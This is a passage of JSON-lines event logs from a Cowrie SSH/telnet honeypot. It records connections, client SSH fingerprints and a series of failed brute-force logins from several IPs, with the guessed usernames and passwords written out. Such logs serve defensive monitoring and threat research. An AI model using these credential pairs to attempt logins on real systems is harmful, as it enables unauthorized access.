{"eventid":"cowrie.session.closed","duration":31.926976442337036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:13.778659Z","src_ip":"20.123.41.163","session":"7ff4dadb474e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":43502,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f6cd5e332a0","protocol":"ssh","message":"New connection: 103.146.202.174:43502 (10.17.0.5:22) [session: 4f6cd5e332a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:15.588706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:15.594591Z","src_ip":"103.146.202.174","session":"4f6cd5e332a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:15.843624Z","src_ip":"103.146.202.174","session":"4f6cd5e332a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@SSWORD123","message":"login attempt [test/P@SSWORD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:18.270505Z","src_ip":"103.146.202.174","session":"4f6cd5e332a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:19.524991Z","src_ip":"103.146.202.174","session":"4f6cd5e332a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.359217405319214,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:19.871434Z","src_ip":"104.245.105.2","session":"71020e67e00a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85979723930359,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:24.214216Z","src_ip":"104.245.105.2","session":"ac8235a871be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":43704,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bd034bfc7c6","protocol":"ssh","message":"New connection: 46.24.47.94:43704 (10.17.0.5:22) [session: 6bd034bfc7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:27.521146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:27.525742Z","src_ip":"46.24.47.94","session":"6bd034bfc7c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:27.633743Z","src_ip":"46.24.47.94","session":"6bd034bfc7c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@qwert","message":"login attempt [root/123@qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:28.096423Z","src_ip":"46.24.47.94","session":"6bd034bfc7c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:29.206331Z","src_ip":"46.24.47.94","session":"6bd034bfc7c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.0389621257782,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:30.093447Z","src_ip":"20.123.41.163","session":"d6609089964e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":34686,"dst_ip":"10.17.0.5","dst_port":22,"session":"e31ff2996baf","protocol":"ssh","message":"New connection: 152.32.238.146:34686 (10.17.0.5:22) [session: e31ff2996baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:36.679295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:36.683664Z","src_ip":"152.32.238.146","session":"e31ff2996baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:36.701448Z","src_ip":"152.32.238.146","session":"e31ff2996baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password","message":"login attempt [ubuntu/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:36.785705Z","src_ip":"152.32.238.146","session":"e31ff2996baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:37.801904Z","src_ip":"152.32.238.146","session":"e31ff2996baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":43985,"dst_ip":"159.203.135.109","dst_port":22,"session":"efbc9a32bc72","protocol":"ssh","message":"New connection: 2.57.121.112:43985 (159.203.135.109:22) [session: efbc9a32bc72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:39.478053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:39.482344Z","src_ip":"2.57.121.112","session":"efbc9a32bc72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:39.579675Z","src_ip":"2.57.121.112","session":"efbc9a32bc72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"159753159753","message":"login attempt [admin/159753159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:40.040906Z","src_ip":"2.57.121.112","session":"efbc9a32bc72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"151617","message":"login attempt [admin/151617] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:41.141416Z","src_ip":"2.57.121.112","session":"efbc9a32bc72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15121970","message":"login attempt [admin/15121970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:42.245486Z","src_ip":"2.57.121.112","session":"efbc9a32bc72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15121965","message":"login attempt [admin/15121965] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:43.345937Z","src_ip":"2.57.121.112","session":"efbc9a32bc72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15111973","message":"login attempt [admin/15111973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:44.446145Z","src_ip":"2.57.121.112","session":"efbc9a32bc72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:45.545766Z","src_ip":"2.57.121.112","session":"efbc9a32bc72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.74755096435547,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:18:59.458432Z","src_ip":"20.123.41.163","session":"66b59b62afee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":38756,"dst_ip":"10.17.0.5","dst_port":23,"session":"9050615f9164","protocol":"telnet","message":"New connection: 20.123.41.163:38756 (10.17.0.5:23) [session: 9050615f9164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:00.115351Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37044,"dst_ip":"10.17.0.5","dst_port":23,"session":"f93cd5bbbada","protocol":"telnet","message":"New connection: 20.123.41.163:37044 (10.17.0.5:23) [session: f93cd5bbbada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:02.918674Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":49858,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cd42e10dc79","protocol":"ssh","message":"New connection: 103.143.231.102:49858 (10.17.0.5:22) [session: 0cd42e10dc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:04.428716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:04.434213Z","src_ip":"103.143.231.102","session":"0cd42e10dc79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:04.509277Z","src_ip":"103.143.231.102","session":"0cd42e10dc79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer@123","message":"login attempt [deployer/deployer@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:04.831690Z","src_ip":"103.143.231.102","session":"0cd42e10dc79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:05.909178Z","src_ip":"103.143.231.102","session":"0cd42e10dc79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":50970,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2b77a7d0667","protocol":"ssh","message":"New connection: 152.32.238.146:50970 (10.17.0.5:22) [session: c2b77a7d0667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:17.591911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:17.597046Z","src_ip":"152.32.238.146","session":"c2b77a7d0667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:17.612575Z","src_ip":"152.32.238.146","session":"c2b77a7d0667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testpass","message":"login attempt [ubuntu/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:17.698204Z","src_ip":"152.32.238.146","session":"c2b77a7d0667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:18.721404Z","src_ip":"152.32.238.146","session":"c2b77a7d0667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":60802,"dst_ip":"10.17.0.5","dst_port":22,"session":"45d03882203b","protocol":"ssh","message":"New connection: 46.24.47.94:60802 (10.17.0.5:22) [session: 45d03882203b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:25.373372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:25.377971Z","src_ip":"46.24.47.94","session":"45d03882203b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:25.482945Z","src_ip":"46.24.47.94","session":"45d03882203b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:25.937672Z","src_ip":"46.24.47.94","session":"45d03882203b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:27.047581Z","src_ip":"46.24.47.94","session":"45d03882203b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":49198,"dst_ip":"10.17.0.5","dst_port":23,"session":"a54a1e0217d4","protocol":"telnet","message":"New connection: 20.123.41.163:49198 (10.17.0.5:23) [session: a54a1e0217d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:33.543672Z"}
{"eventid":"cowrie.session.closed","duration":40.256532192230225,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:40.371748Z","src_ip":"20.123.41.163","session":"9050615f9164","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.052935123443604,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:41.596521Z","src_ip":"20.123.41.163","session":"a54a1e0217d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":58638,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a2aaffd2407","protocol":"ssh","message":"New connection: 152.32.238.146:58638 (10.17.0.5:22) [session: 1a2aaffd2407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:59.117534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:59.122497Z","src_ip":"152.32.238.146","session":"1a2aaffd2407","protocol":"ssh"}
